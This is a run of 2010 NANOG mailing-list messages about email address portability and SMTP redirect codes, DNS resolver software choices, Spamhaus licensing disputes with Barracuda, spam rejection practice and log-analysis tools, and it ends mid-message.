<3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> On Feb 22, 2010, at 1:42 PM, Florian Weimer wrote: > * Steven Bellovin: > >> Bring back the MB or MR DNS records? (Only half a smiley.) > > Eh, you don't want to put this information into a public database. > Officially, for privacy reasons. Unofficially, to create a barrier to > market entry. > Right; I was not seriously suggesting that the DNS was the right spot for it. I am seriously suggesting that a redirect mechanism -- perhaps the email equivalent of HTPP's 301/302 -- would be worth considering. Then, of course, there's problem of upgrading the $\aleph_0$ mail senders out there to comply... --Steve Bellovin, http://www.cs.columbia.edu/~smb From dhc2 at dcrocker.net Mon Feb 22 12:53:47 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Mon, 22 Feb 2010 10:53:47 -0800 Subject: artifacts (was Re: Email Portability Approved by Knesset Committee_ In-Reply-To: <4B82C069.2080602@cox.net> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> <4B82C069.2080602@cox.net> Message-ID: <4B82D2BB.6020601@dcrocker.net> On 2/22/2010 9:35 AM, Larry Sheldon wrote: > I have been wondering about that too--the Internet may be the only > artifact of human existence that is generally border insensitive (with > exceptions we don't need to enumerate). Pollution. Global warming. Nuclear fallout. ... d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From cmaurand at xyonet.com Mon Feb 22 12:59:41 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Mon, 22 Feb 2010 13:59:41 -0500 Subject: DNS server software In-Reply-To: References: Message-ID: <4B82D41D.5050406@xyonet.com> I do hosting rather than network provisioning, but when I was doing network provisioning we used PowerDNS' resolver. Its small, and its very, very fast. Its customizable and can be scripted using LUA. http://www.powerdns.com On 2/22/2010 9:16 AM, Claudio Lapidus wrote: > Hello all, > > We are a mid-sized carrier (1.2M broadband subscribers) and we are looking > for an upgrade in our public DNS resolver infrastructure, so we are > interested in getting to know what are you guys using in your networks. > Mainly what kind/brand of software and which architecture did you use to > deploy it, and how did you do the sizing, all of it would be most helpful > information. > > Many thanks in advance for your advice! > cl. > From LarrySheldon at cox.net Mon Feb 22 12:58:33 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 12:58:33 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <17340.1266864168@localhost> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <9243.1266859147@localhost> <4B82BDB9.8050208@cox.net> <17340.1266864168@localhost> Message-ID: <4B82D3D9.20900@cox.net> On 2/22/2010 12:42 PM, Valdis.Kletnieks at vt.edu wrote: > On Mon, 22 Feb 2010 11:24:09 CST, Larry Sheldon said: > >> You don't note when you are taking somebody's word when they write in >> English. > > Actually, we do. > > So tell me Larry - if I cited a Latvian web page, and gave a summary, would > you feel comfortable blindly passing it along without mentioning the fact > that you were unable to verify what the page said? Yes. If I cited it would indicate that I trusted your judgment. I would expect you to feel insulted if I said that in this exceptional case I trusted you, but I didn't think that should be assumed. > > What if I quoted a web page in English that was slashdotted or otherwise > 404'ed by the time you tried to look at it, so you never saw the page but > only what I allegedly quoted? Would you pass *that* along without notice > as well? Or would you note "the page 404's for me"? I might very well say "Valdis said...." to identify the source. I would not normal grade the quality of the reference. I'm out. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From fw at deneb.enyo.de Mon Feb 22 12:58:35 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Mon, 22 Feb 2010 19:58:35 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> (Steven Bellovin's message of "Mon, 22 Feb 2010 13:51:32 -0500") References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <87k4u5i03q.fsf@mid.deneb.enyo.de> <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> Message-ID: <87d3zxhzc4.fsf@mid.deneb.enyo.de> * Steven Bellovin: > Right; I was not seriously suggesting that the DNS was the right > spot for it. I am seriously suggesting that a redirect mechanism -- > perhaps the email equivalent of HTPP's 301/302 -- would be worth > considering. Then, of course, there's problem of upgrading the > $\aleph_0$ mail senders out there to comply... There's already SMTP support for this, see RFC 5321, section 3.4. This has been carried over from RFC 821, which already contain the 251/551 response codes. However, this is still a public database for which you cannot charge access, so it's not the solution we're looking for. From wavetossed at googlemail.com Mon Feb 22 13:02:38 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Mon, 22 Feb 2010 19:02:38 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> Message-ID: <877585b01002221102r29a0db62pc90778c93dedb440@mail.gmail.com> > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > report here. Why on earth would you trust Gadi when you could trust me and some acquaintances at Google? --Michael Dillon From joel.esler at me.com Mon Feb 22 11:02:22 2010 From: joel.esler at me.com (Joel Esler) Date: Mon, 22 Feb 2010 12:02:22 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82B5B7.2010406@cox.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <4B82B5B7.2010406@cox.net> Message-ID: I have an idea. Everyone just get a gmail (or otherwise "neutral" account) like me.com or gmail.com or yahoo.com and be done with it. J On Feb 22, 2010, at 11:49 AM, Larry Sheldon wrote: > A thing being missed here is this: > > A telephone number does not have an obvious affinity with personal > intellectual-property-like information. (402 332-XXXX is not obviously > a Northwest Bell-USWest-Quest telephone number, but at least two of them > are now served by Cox. A person using a 917 NNX-XXXX number in has now > turned useful information into noise, but that is not quite the same thing.) > > An email address that ends in example.com irrevocably ties the address > user to the company Example and may in fact be affirmatively harmful > beyond the technical difficulty of implementation. > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > -- Joel Esler http://blog.joelesler.net From dot at dotat.at Mon Feb 22 13:11:16 2010 From: dot at dotat.at (Tony Finch) Date: Mon, 22 Feb 2010 19:11:16 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <87k4u5i03q.fsf@mid.deneb.enyo.de> <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> Message-ID: On Mon, 22 Feb 2010, Steven Bellovin wrote: > > I am seriously suggesting that a redirect mechanism -- perhaps > the email equivalent of HTPP's 301/302 -- would be worth considering. > Then, of course, there's problem of upgrading the $\aleph_0$ mail > senders out there to comply... See the 251 and 551 response codes first specified in RFC 788 section 3.2 and currently specified in RFC 5321 section 3.4. No-one implements them. Tony. -- f.anthony.n.finch http://dotat.at/ GERMAN BIGHT HUMBER: SOUTHWEST 5 TO 7. MODERATE OR ROUGH. SQUALLY SHOWERS. MODERATE OR GOOD. From lyndon at orthanc.ca Mon Feb 22 13:16:29 2010 From: lyndon at orthanc.ca (Lyndon Nerenberg (VE6BBM/VE7TFX)) Date: Mon, 22 Feb 2010 12:16:29 -0700 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> Message-ID: smb at cs.columbia.edu: > I am seriously suggesting that a redirect mechanism -- perhaps the email equivalent of HTPP's 301/302 -- would be worth considering. We already have SMTP's 221 and 521 response codes for this. But because the response text is free-form there's no way to reliably parse out the new address. Fixing this is a bit tricky since the SMTP grammar defines in a way that makes it difficult to return the sort of structed response you would need. --lyndon From LarrySheldon at cox.net Mon Feb 22 13:24:09 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 13:24:09 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: Message-ID: <4B82D9D9.4000507@cox.net> On 2/22/2010 1:16 PM, Lyndon Nerenberg (VE6BBM/VE7TFX) wrote: > smb at cs.columbia.edu: >> I am seriously suggesting that a redirect mechanism -- perhaps the email equivalent of HTPP's 301/302 -- would be worth considering. > > We already have SMTP's 221 and 521 response codes for this. But because the > response text is free-form there's no way to reliably parse out the new address. > > Fixing this is a bit tricky since the SMTP grammar defines in > a way that makes it difficult to return the sort of structed response you > would need. I don't think I know the details of the law, but I would guess that "address portability" does not imply "the address you have reach is not in service. The new address is....." -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From vixie at isc.org Mon Feb 22 13:27:02 2010 From: vixie at isc.org (Paul Vixie) Date: Mon, 22 Feb 2010 19:27:02 +0000 Subject: DNS server software In-Reply-To: (Claudio Lapidus's message of "Mon\, 22 Feb 2010 11\:16\:52 -0300") References: Message-ID: Claudio Lapidus writes: > We are a mid-sized carrier (1.2M broadband subscribers) and we are > looking for an upgrade in our public DNS resolver infrastructure, so we > are interested in getting to know what are you guys using in your > networks. Mainly what kind/brand of software and which architecture did > you use to deploy it, and how did you do the sizing, all of it would be > most helpful information. Unsurprisingly, we (AS1280, AS3557) run BIND 9. see . We have at least two recursives in each AS1280 site, and one in each AS3557 location (f-root). Stubs (either /etc/resolv.conf or DHCP) each use all local plus some non-local, for a minimum of three total. Recursive DNS servers do not use forwarding or other cache-sharing techniques, each is fully independent. Most have DNSSEC validation enabled, and of those, all are subscribed to ISC DLV, see . Most server hosts here run FreeBSD on AMD64/EM64T or else i386. -- Paul Vixie KI6YSY From Valdis.Kletnieks at vt.edu Mon Feb 22 13:33:18 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 22 Feb 2010 14:33:18 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: Your message of "Mon, 22 Feb 2010 19:02:38 GMT." <877585b01002221102r29a0db62pc90778c93dedb440@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <877585b01002221102r29a0db62pc90778c93dedb440@mail.gmail.com> Message-ID: <3551.1266867198@localhost> On Mon, 22 Feb 2010 19:02:38 GMT, Michael Dillon said: > > Unfortunately the links cited are in Hebrew so I'm only going on Gadi's > > report here. > > Why on earth would you trust Gadi when you could trust me and some > acquaintances at Google? > From vixie at isc.org Mon Feb 22 13:34:43 2010 From: vixie at isc.org (Paul Vixie) Date: Mon, 22 Feb 2010 19:34:43 +0000 Subject: Spamhaus... In-Reply-To: <20100220234027.7315.qmail@simone.iecc.com> (John Levine's message of "20 Feb 2010 23\:40\:27 -0000") References: <3c3e3fca1002201253k1facd608r8de80eee700cdd7@mail.gmail.com> <20100220234027.7315.qmail@simone.iecc.com> Message-ID: John Levine writes: > I now do nearly all of my spam filtering during the SMTP session. +1. > There might once have been a reason to accept quickly and chew through > the mail later, but these days it all needs chewing so you might as > well do it right away. This has the huge advantage that you can > reject unwanted mail after data with 550 FOAD rather than bouncing. there was once an argument for silent discard on spam, to keep spammers from being able to tune their entropy to get past one's filters. these days the spammers don't have to tune anything and don't tune anything, so there's no advantage to silent discard or to asynchronous filtering. everything that can be rejected synchronously, should be. there's a small chance that the rejection notice will go to a nonbot nonspammer who can correct their mistake and retry. that chance is worth taking. -- Paul Vixie KI6YSY From dsparro at gmail.com Mon Feb 22 13:40:52 2010 From: dsparro at gmail.com (Dave Sparro) Date: Mon, 22 Feb 2010 14:40:52 -0500 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> Message-ID: <4B82DDC4.5070408@gmail.com> On 2/22/2010 12:40 AM, Suresh Ramasubramanian wrote: > > Is it your position that, as a vendor of antispam services, nobody > else should offer their services for a fee? > > That would be strange indeed Actually I can sympathize with Barracuda on this one: Bob's Widgets is running thier own mail server for their 25 employees. They decide the need better spam filters. They can hire Bob's nephew to drop in a Linux server running Postfix and SpamAssassan. In this situation it's OK for Little Bobby to configure the Spamhaus RBLs for use on this solution. They could also hire Barracuda to do essentially the same thing (assumption based on source code published at http://source.barracuda.com/source/ ). In this case Bob's Widgets is not allowed to use Spamhaus. Their list, their rules; but it is indeed strange to me. -- Dave From Valdis.Kletnieks at vt.edu Mon Feb 22 13:45:35 2010 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Mon, 22 Feb 2010 14:45:35 -0500 Subject: Spamhaus... In-Reply-To: Your message of "Sun, 21 Feb 2010 14:57:31 GMT." References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <20100219121227.GA13388@gsp.org> <4B7E9B68.8090807@sorbs.net> <87wry99ji9.fsf@nemi.mork.no> <20100219203030.GA13374@gsp.org> <3c3e3fca1002191720r623db49bv7c35edbb01540bcc@mail.gmail.com> <20100220130823.GA5232@gsp.org> Message-ID: <4199.1266867935@localhost> On Sun, 21 Feb 2010 14:57:31 GMT, Paul Vixie said: > Rich Kulawiec writes: > > We're well past that. Every minimally-competent postmaster on this > > planet knows that clause became operationally obsolete years ago [1], and > > has configured their mail systems to always reject, never bounce. [2] > > for smtp, i agree. yet, uucp and other non-smtp last miles are not dead. In exactly the same sense, and for the same reasons, that 36-bit machines are not dead yet. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 227 bytes Desc: not available URL: From hank at efes.iucc.ac.il Mon Feb 22 14:03:40 2010 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Mon, 22 Feb 2010 22:03:40 +0200 (IST) Subject: Email Portability Approved by Knesset Committee In-Reply-To: <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: On Mon, 22 Feb 2010, Dorn Hetzel wrote: > I am sure the various carriers faced with the onset of Local Number > Portability and WLNP in this part of the world would have been happy to > escape with only forwarding phone calls for 3 months. > > Alas, such was not their fate :) > > I would watch out for this idea, it might actually catch on in various > places, warts and all... Can IP number portability be far behind? You think your routing tables are big now?! Wait till you are mandated to carry /32s for IP number portability :-) -Hank From smb at cs.columbia.edu Mon Feb 22 14:10:07 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Mon, 22 Feb 2010 15:10:07 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <87d3zxhzc4.fsf@mid.deneb.enyo.de> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <87k4u5i03q.fsf@mid.deneb.enyo.de> <3C19B274-DFDD-4D58-B236-716FD46AE271@cs.columbia.edu> <87d3zxhzc4.fsf@mid.deneb.enyo.de> Message-ID: On Feb 22, 2010, at 1:58 PM, Florian Weimer wrote: > * Steven Bellovin: > >> Right; I was not seriously suggesting that the DNS was the right >> spot for it. I am seriously suggesting that a redirect mechanism -- >> perhaps the email equivalent of HTPP's 301/302 -- would be worth >> considering. Then, of course, there's problem of upgrading the >> $\aleph_0$ mail senders out there to comply... > > There's already SMTP support for this, see RFC 5321, section 3.4. > This has been carried over from RFC 821, which already contain the > 251/551 response codes. Thanks; I'd forgotten about those. > > However, this is still a public database for which you cannot charge > access, so it's not the solution we're looking for. > --Steve Bellovin, http://www.cs.columbia.edu/~smb From LarrySheldon at cox.net Mon Feb 22 14:13:58 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Mon, 22 Feb 2010 14:13:58 -0600 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: <4B82DDC4.5070408@gmail.com> References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> <4B82DDC4.5070408@gmail.com> Message-ID: <4B82E586.8050108@cox.net> On 2/22/2010 1:40 PM, Dave Sparro wrote: > On 2/22/2010 12:40 AM, Suresh Ramasubramanian wrote: >> >> Is it your position that, as a vendor of antispam services, nobody >> else should offer their services for a fee? >> >> That would be strange indeed > > Actually I can sympathize with Barracuda on this one: > Bob's Widgets is running thier own mail server for their 25 employees. > They decide the need better spam filters. > They can hire Bob's nephew to drop in a Linux server running Postfix and > SpamAssassan. In this situation it's OK for Little Bobby to configure > the Spamhaus RBLs for use on this solution. > They could also hire Barracuda to do essentially the same thing > (assumption based on source code published at > http://source.barracuda.com/source/ ). In this case Bob's Widgets is > not allowed to use Spamhaus. The issue is not whether Bob's can use the list to turn a profit, but whether Barracuda can. > Their list, their rules; but it is indeed strange to me. > -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From joelja at bogus.com Mon Feb 22 14:13:45 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Mon, 22 Feb 2010 21:13:45 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: <4B82E579.2060601@bogus.com> Hank Nussbacher wrote: > On Mon, 22 Feb 2010, Dorn Hetzel wrote: > >> I am sure the various carriers faced with the onset of Local Number >> Portability and WLNP in this part of the world would have been happy to >> escape with only forwarding phone calls for 3 months. >> >> Alas, such was not their fate :) >> >> I would watch out for this idea, it might actually catch on in various >> places, warts and all... > > Can IP number portability be far behind? You think your routing tables > are big now?! Wait till you are mandated to carry /32s for IP number > portability :-) Don't need to harm the routing-table to do that, we have mobile-ip. > -Hank > From Grzegorz at Janoszka.pl Mon Feb 22 14:16:45 2010 From: Grzegorz at Janoszka.pl (Grzegorz Janoszka) Date: Mon, 22 Feb 2010 21:16:45 +0100 Subject: DNS server software In-Reply-To: <20100222143910.GB32700@macbook.catpipe.net> References: <20100222143910.GB32700@macbook.catpipe.net> Message-ID: <4B82E62D.30001@Janoszka.pl> On 22-2-2010 15:39, Phil Regnauld wrote: > PowerDNS also has an open source solution (www.powerdns.com). PowerDNS > is easily modified with custom backends (using a simple pipe interface). > > All of the above support DNSSEC. I do not think so: http://en.wikipedia.org/wiki/Comparison_of_DNS_server_software DNSSEC support in PowerDNS is currently restricted to being able to serve DNSSEC-related RRs. No further DNSSEC processing takes place. I have reviewed all popular DNS software recently, PowerDNS was really OK, but eventually I have decided not to go with it due to lack of full DNSSEC support. -- Grzegorz Janoszka From graeme at graemef.net Mon Feb 22 14:18:37 2010 From: graeme at graemef.net (Graeme Fowler) Date: Mon, 22 Feb 2010 20:18:37 +0000 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: <4B82DDC4.5070408@gmail.com> References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> <4B82DDC4.5070408@gmail.com> Message-ID: <1266869917.11091.31.camel@ernie.internal.graemef.net> On Mon, 2010-02-22 at 14:40 -0500, Dave Sparro wrote: > Their list, their rules; but it is indeed strange to me. Not too strange: Little Bobby probably does one or two jobs and goes away, leaving the system to run by itself. the SpamAssassin people receive nothing from his choice of software. If Bob decides he wants to buy a commercial appliance from a profit-making company (presumption being made here) who are in turn making significant use of a "free" resource such as the SpamHaus lists in their appliance's configuration, and those appliances become very popular (as I understand they might be), then the infrastructure costs associated with the appliance are shifted away from both the vendor and the end-user onto the provider. If said provider gets a bit shirty about this and decides that they're going to analyse and block traffic from those appliances if they haven't paid for a service... If you stand back and look at this dispassionately then I would expect a large majority of this list would probably act in a similar way (or their companies or employers would) given a similar situation with their services. TANSTAAFL. Really. Someone has to pay for the meal; why should it be the chef? Graeme From richard.barnes at gmail.com Mon Feb 22 14:24:15 2010 From: richard.barnes at gmail.com (Richard Barnes) Date: Mon, 22 Feb 2010 15:24:15 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> Message-ID: <88ac5c711002221224n1736735p14c63344500455fa@mail.gmail.com> Dude, think to the future -- /128s! On Mon, Feb 22, 2010 at 3:03 PM, Hank Nussbacher wrote: > On Mon, 22 Feb 2010, Dorn Hetzel wrote: > >> I am sure the various carriers faced with the onset of Local Number >> Portability and WLNP in this part of the world would have been happy to >> escape with only forwarding phone calls for 3 months. >> >> Alas, such was not their fate :) >> >> I would watch out for this idea, it might actually catch on in various >> places, warts and all... > > Can IP number portability be far behind? ?You think your routing tables are > big now?! ?Wait till you are mandated to carry /32s for IP number > portability :-) > > -Hank > > From rah at shipwright.com Mon Feb 22 14:24:32 2010 From: rah at shipwright.com (R.A. Hettinga) Date: Mon, 22 Feb 2010 16:24:32 -0400 Subject: artifacts (was Re: Email Portability Approved by Knesset Committee_ In-Reply-To: <4B82D2BB.6020601@dcrocker.net> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> <4B82C069.2080602@cox.net> <4B82D2BB.6020601@dcrocker.net> Message-ID: <7E4BC22D-FEDD-4267-9476-4142D309D8BB@shipwright.com> On Feb 22, 2010, at 2:53 PM, Dave CROCKER wrote: > On 2/22/2010 9:35 AM, Larry Sheldon wrote: >> I have been wondering about that too--the Internet may be the only >> artifact of human existence that is generally border insensitive (with >> exceptions we don't need to enumerate). > > > Pollution. > > Global warming. > > Nuclear fallout. Externalities are the last refuge of the dirigistes." -- Friedrich Hayek ;-) Cheers, RAH From jay at west.net Mon Feb 22 14:24:59 2010 From: jay at west.net (Jay Hennigan) Date: Mon, 22 Feb 2010 12:24:59 -0800 Subject: Spamhaus and Barracuda Networks BRBL In-Reply-To: <4B82DDC4.5070408@gmail.com> References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> <4B82DDC4.5070408@gmail.com> Message-ID: <4B82E81B.6010609@west.net> On 2/22/10 11:40 AM, Dave Sparro wrote: > Actually I can sympathize with Barracuda on this one: > Bob's Widgets is running thier own mail server for their 25 employees. > They decide the need better spam filters. > They can hire Bob's nephew to drop in a Linux server running Postfix and > SpamAssassan. In this situation it's OK for Little Bobby to configure > the Spamhaus RBLs for use on this solution. > They could also hire Barracuda to do essentially the same thing > (assumption based on source code published at > http://source.barracuda.com/source/ ). In this case Bob's Widgets is > not allowed to use Spamhaus. > > Their list, their rules; but it is indeed strange to me. Bob is in the widget business, he profits from selling widgets. He doesn't profit from the spam-filtering business. Spamhaus is, out of sheer niceness to the community, willing to accommodate one-off widget makers with some freebies. Thank you. Spamhaus. We appreciate it. Barracuda is in the spam-filtering business, they profit directly from it. Spamhaus isn't willing to allow a for-profit entity to deploy their filters on thousands of machines at substantial cost to Spamhaus in terms of bandwidth and server load without being compensated for it. This seems reasonable to me. If Bob's Widgets' nephew syncs Bob's machine to the University of Wisconsin's NTP server, it isn't a big deal. When Netgear hard-codes UoW's NTP server's IP into a gazillion consumer boxes, it is. That's the difference. http://pages.cs.wisc.edu/~plonka/netgear-sntp/ -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From sob at academ.com Mon Feb 22 14:35:20 2010 From: sob at academ.com (Stan Barber) Date: Mon, 22 Feb 2010 14:35:20 -0600 Subject: DNS server software In-Reply-To: References: Message-ID: <7959468D-3D59-4389-BBF0-52D4B360E37A@academ.com> I have been using BIND9. I have also seen a number of folks try other things, but I have found when testing those software that DNSSEC/EDNS0 and properly handling DNS query/response on TCP are not well supported. On Feb 22, 2010, at 8:16 AM, Claudio Lapidus wrote: > Hello all, > > We are a mid-sized carrier (1.2M broadband subscribers) and we are looking > for an upgrade in our public DNS resolver infrastructure, so we are > interested in getting to know what are you guys using in your networks. > Mainly what kind/brand of software and which architecture did you use to > deploy it, and how did you do the sizing, all of it would be most helpful > information. > > Many thanks in advance for your advice! > cl. From dhc2 at dcrocker.net Mon Feb 22 14:41:45 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Mon, 22 Feb 2010 12:41:45 -0800 Subject: artifacts (was Re: Email Portability Approved by Knesset Committee_ In-Reply-To: <7E4BC22D-FEDD-4267-9476-4142D309D8BB@shipwright.com> References: <4B829E39.6070600@linuxbox.org> <46BD99F7-F3D5-41AC-9AF6-FE29247AEAAB@hopcount.ca> <4B82C069.2080602@cox.net> <4B82D2BB.6020601@dcrocker.net> <7E4BC22D-FEDD-4267-9476-4142D309D8BB@shipwright.com> Message-ID: <4B82EC09.40900@dcrocker.net> Hmmm. While it's easy and reasonable to call these externalities, I suspect a good case could be made that they are not, since they affect the principals, as well as everyone else... I'm confused by the reference to archaic, structured balloons... d/ ps. "Creative misunderstanding is also a convenient refuge." -- dcrocker On 2/22/2010 12:24 PM, R.A. Hettinga wrote: > > On Feb 22, 2010, at 2:53 PM, Dave CROCKER wrote: > >> On 2/22/2010 9:35 AM, Larry Sheldon wrote: >>> I have been wondering about that too--the Internet may be the only >>> artifact of human existence that is generally border insensitive (with >>> exceptions we don't need to enumerate). >> >> >> Pollution. >> >> Global warming. >> >> Nuclear fallout. > > Externalities are the last refuge of the dirigistes." -- Friedrich Hayek -- Dave Crocker Brandenburg InternetWorking bbiw.net From fred at cisco.com Mon Feb 22 15:49:36 2010 From: fred at cisco.com (Fred Baker) Date: Mon, 22 Feb 2010 15:49:36 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B82D22D.3050905@dcrocker.net> References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <7db2dcf91002220826q72daa2bj1d83c73274f15ab2@mail.gmail.com> <4B82D22D.3050905@dcrocker.net> Message-ID: On Feb 22, 2010, at 12:51 PM, Dave CROCKER wrote: > Per the followup comments on this, the domain owner might be able to > do some things in domain name usage and IP Address assignment to > mitigate this, the initial and on-going costs of getting this right > and the likelihood of eliminating all blowback are problematic. The thing to do is to send a note to the Knesset explaining this, and telling them that you plan to send them the bills. http://www.ipinc.net/IPv4.GIF From kowsik at gmail.com Mon Feb 22 15:57:08 2010 From: kowsik at gmail.com (kowsik) Date: Mon, 22 Feb 2010 13:57:08 -0800 Subject: Announcing xtractr (on pcapr) Message-ID: <7db9abd31002221357u13a664aau9098dda232eee161@mail.gmail.com> We just released xtractr, a collaborative cloud app for indexing, searching, extracting and reporting on large pcaps. This thread on NANOG is one of the many use cases that xtractr attempts to solve: http://mailman.nanog.org/pipermail/nanog/2009-December/015661.html You can learn more about xtractr on our blog: http://bit.ly/d7yrKl or watch a demo: http://www.pcapr.net/xtractr Thanks, K. --- http://www.pcapr.net/ http://www.mudynamics.com http://twitter.com/pcapr From fedorafans at gmail.com Mon Feb 22 16:15:22 2010 From: fedorafans at gmail.com (fedora fedora) Date: Mon, 22 Feb 2010 16:15:22 -0600 Subject: log parsing tool? Message-ID: Greetings, Anyone has good recommendations for an open-sourced log parsing and analyzing application? It will be used to work with syslog-ng and other general syslog and application logs. I have been looking at swatch and logwatch, but would like to find out if there are other good choices, thanks FD From bobp+nanog at webster.tsc.com Mon Feb 22 16:28:40 2010 From: bobp+nanog at webster.tsc.com (Bob Poortinga) Date: Mon, 22 Feb 2010 17:28:40 -0500 Subject: TWTELECOM.NET to the white courtesy phone! Message-ID: <20100222222840.GA20573@tico.tsc.com> Would someone at twtelecom.net's NOC please contact me about a routing issue we are having with you. You apparently have an internal route for one of our netblocks that is causing packets destined to us to be blackholed. TWTELECOM is an upstream of an upstream. -- Bob Poortinga K9SQL Technology Service Corp. Bloomington, Indiana US +1-812-558-7070 From hhutchis at cisco.com Mon Feb 22 16:28:52 2010 From: hhutchis at cisco.com (Steven J. Hutchison) Date: Mon, 22 Feb 2010 15:28:52 -0700 Subject: log parsing tool? In-Reply-To: Message-ID: Splunk ZanOSS PHP-Syslog-NG aka logzilla LogLogic On 2/22/10 3:15 PM, "fedora fedora" wrote: > Greetings, > > Anyone has good recommendations for an open-sourced log parsing and > analyzing application? It will be used to work with syslog-ng and other > general syslog and application logs. > > I have been looking at swatch and logwatch, but would like to find out if > there are other good choices, thanks > > FD From darren at bolding.org Mon Feb 22 16:34:25 2010 From: darren at bolding.org (Darren Bolding) Date: Mon, 22 Feb 2010 14:34:25 -0800 Subject: log parsing tool? In-Reply-To: References: Message-ID: <5a318d411002221434y4350c07cgc8754f81e174e4c6@mail.gmail.com> SEC (Simplet Event Correlator) is a very effective tool for this, IMHO. I am by no means an expert with it, but I know several people who are, and while it is not as well known as splunk or some other tools, I have been very impressed by the results I've seen using it. As with any event correlation tool, there is a 